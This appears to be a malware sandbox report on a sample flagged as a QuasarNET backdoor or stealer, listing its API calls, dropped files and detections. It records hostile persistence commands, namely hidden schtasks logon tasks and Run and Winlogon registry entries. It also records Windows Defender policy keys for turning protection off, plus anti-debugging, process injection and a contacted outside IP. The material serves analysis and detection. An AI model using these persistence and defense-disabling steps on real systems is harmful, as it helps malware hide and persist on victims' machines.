NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cdb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cdc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cdd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cde000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cdf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\WinDriverhost\WinDriverhostrefMonitordll.exe
file	C:\WinDriverhost\fut2dsUXBP4lfMP.bat
file	C:\WinDriverhost\jX2t2hew2y66C90uPMdtR.vbe

Creates a shortcut to an executable file (1 event)

file	C:\WinDriverhost\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (6 events)

cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchProtocolHost" /sc ONLOGON /tr "'C:\Windows\System32\nrpsrv\SearchProtocolHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Users\Default User\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Tasks\sppsvc.exe'" /rl HIGHEST /f
cmdline	"powershell" Get-MpPreference -verbose

Drops a binary and executes it (2 events)

file	C:\WinDriverhost\jX2t2hew2y66C90uPMdtR.vbe
file	C:\WinDriverhost\WinDriverhostrefMonitordll.exe

A process created a hidden window (8 events)

Time & API	Arguments	Status	Return
ShellExecuteExW July 9, 2021, 6:16 p.m.	show_type: 0 filepath_r: C:/WinDriverhost/fut2dsUXBP4lfMP.bat parameters: filepath: C:/WinDriverhost/fut2dsUXBP4lfMP.bat	1	1
CreateProcessInternalW July 9, 2021, 6:16 p.m.	thread_identifier: 1908 thread_handle: 0x0000000000000354 process_identifier: 620 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Users\Default User\pw.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000000000000035c	1	1
CreateProcessInternalW July 9, 2021, 6:16 p.m.	thread_identifier: 1884 thread_handle: 0x0000000000000364 process_identifier: 260 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000370	1	1
CreateProcessInternalW July 9, 2021, 6:16 p.m.	thread_identifier: 2680 thread_handle: 0x0000000000000364 process_identifier: 1772 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\pw.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000374	1	1
CreateProcessInternalW July 9, 2021, 6:17 p.m.	thread_identifier: 2248 thread_handle: 0x0000000000000380 process_identifier: 2728 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "schtasks" /create /tn "SearchProtocolHost" /sc ONLOGON /tr "'C:\Windows\System32\nrpsrv\SearchProtocolHost.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000384	1	1
CreateProcessInternalW July 9, 2021, 6:17 p.m.	thread_identifier: 2740 thread_handle: 0x0000000000000380 process_identifier: 1408 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Tasks\sppsvc.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000388	1	1
ShellExecuteExW July 9, 2021, 6:17 p.m.	show_type: 0 filepath_r: C:\Windows\System32\nrpsrv\SearchProtocolHost.exe parameters: filepath: C:\Windows\System32\nrpsrv\SearchProtocolHost.exe	1	1
CreateProcessInternalW July 9, 2021, 6:13 p.m.	thread_identifier: 2200 thread_handle: 0x000000000000053c process_identifier: 2552 current_directory: C:\WinDriverhost filepath: track: 1 command_line: "powershell" Get-MpPreference -verbose filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000000000000051c	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 9, 2021, 6:13 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 9, 2021, 6:16 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 9, 2021, 6:13 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 9, 2021, 6:14 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (5 events)

cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchProtocolHost" /sc ONLOGON /tr "'C:\Windows\System32\nrpsrv\SearchProtocolHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Users\Default User\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Tasks\sppsvc.exe'" /rl HIGHEST /f

Communicates with host for which no DNS query was performed (1 event)

host

141.95.28.201

Installs itself for autorun at Windows startup (21 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Users\Default User\pw.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Users\Default User\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Users\Default User\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Users\Default User\pw.exe", "C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SearchFilterHost	reg_value	"C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchFilterHost	reg_value	"C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Users\Default User\pw.exe", "C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe", "C:\Program Files\Java\jre7\bin\dtplugin\pw.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Program Files\Java\jre7\bin\dtplugin\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Program Files\Java\jre7\bin\dtplugin\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Users\Default User\pw.exe", "C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe", "C:\Program Files\Java\jre7\bin\dtplugin\pw.exe", "C:\Windows\System32\nrpsrv\SearchProtocolHost.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost	reg_value	"C:\Windows\System32\nrpsrv\SearchProtocolHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost	reg_value	"C:\Windows\System32\nrpsrv\SearchProtocolHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Users\Default User\pw.exe", "C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe", "C:\Program Files\Java\jre7\bin\dtplugin\pw.exe", "C:\Windows\System32\nrpsrv\SearchProtocolHost.exe", "C:\Windows\Tasks\sppsvc.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\sppsvc	reg_value	"C:\Windows\Tasks\sppsvc.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc	reg_value	"C:\Windows\Tasks\sppsvc.exe"
file	C:\Windows\Tasks\0a1fd5f707cd16ea89afd3d6db52b2da58214a6c
cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchProtocolHost" /sc ONLOGON /tr "'C:\Windows\System32\nrpsrv\SearchProtocolHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Users\Default User\pw.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Tasks\sppsvc.exe'" /rl HIGHEST /f

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\WinDriverhost\fut2dsUXBP4lfMP.bat"
parent_process	wscript.exe				martian_process	C:/WinDriverhost/fut2dsUXBP4lfMP.bat

Attempts to remove evidence of file being downloaded from the Internet (5 events)

file	C:\Program Files\Java\jre7\bin\dtplugin\pw.exe:Zone.Identifier
file	C:\Windows\Tasks\sppsvc.exe:Zone.Identifier
file	C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe:Zone.Identifier
file	C:\Users\Default User\pw.exe:Zone.Identifier
file	C:\Windows\System32\nrpsrv\SearchProtocolHost.exe:Zone.Identifier

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1896 resumed a thread in remote process 1556
NtResumeThread July 9, 2021, 6:16 p.m.	thread_handle: 0x00000274 suspend_count: 1 process_identifier: 1556	1	0	0

The processes wscript.exe, powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Disables Windows Security features (4 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Bkav	W32.AIDetect.malware2
Elastic	malicious (high confidence)
DrWeb	BackDoor.QuasarNET.5
MicroWorld-eScan	Trojan.GenericKD.37200729
FireEye	Generic.mg.5e982c02cb02514f
ALYac	Trojan.MSIL.Basic.8.Gen
Zillya	Trojan.ScriptKD.JS.10
Sangfor	Trojan.MSIL.SpyNoon.RTU
BitDefenderTheta	Gen:NN.ZemsilF.34790.nr0@a8Dssiii
ESET-NOD32	a variant of MSIL/Spy.Agent.CVT
APEX	Malicious
ClamAV	Win.Malware.Uztuby-9848412-0
Kaspersky	HEUR:Trojan-Spy.MSIL.Stealer.gen
BitDefender	Trojan.GenericKD.37200729
Avast	Win32:TrojanX-gen [Trj]
Ad-Aware	Trojan.GenericKD.37200729
Sophos	Generic ML PUA (PUA)
McAfee-GW-Edition	BehavesLike.Win32.Suspicioustrojan.th
Emsisoft	Trojan.MSIL.Basic.8.Gen (B)
SentinelOne	Static AI - Malicious SFX
MAX	malware (ai score=84)
Microsoft	Trojan:MSIL/SpyNoon.RTU!MTB
GData	Win32.Trojan.BSE.1CL7UZW
Cynet	Malicious (score: 100)
McAfee	Artemis!5E982C02CB02
Malwarebytes	Malware.AI.1621921861
Fortinet	MSIL/Agent.CVT!tr
AVG	Win32:TrojanX-gen [Trj]
Cybereason	malicious.2cb025
Qihoo-360	QVM41.1.Malware.Gen

shell.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All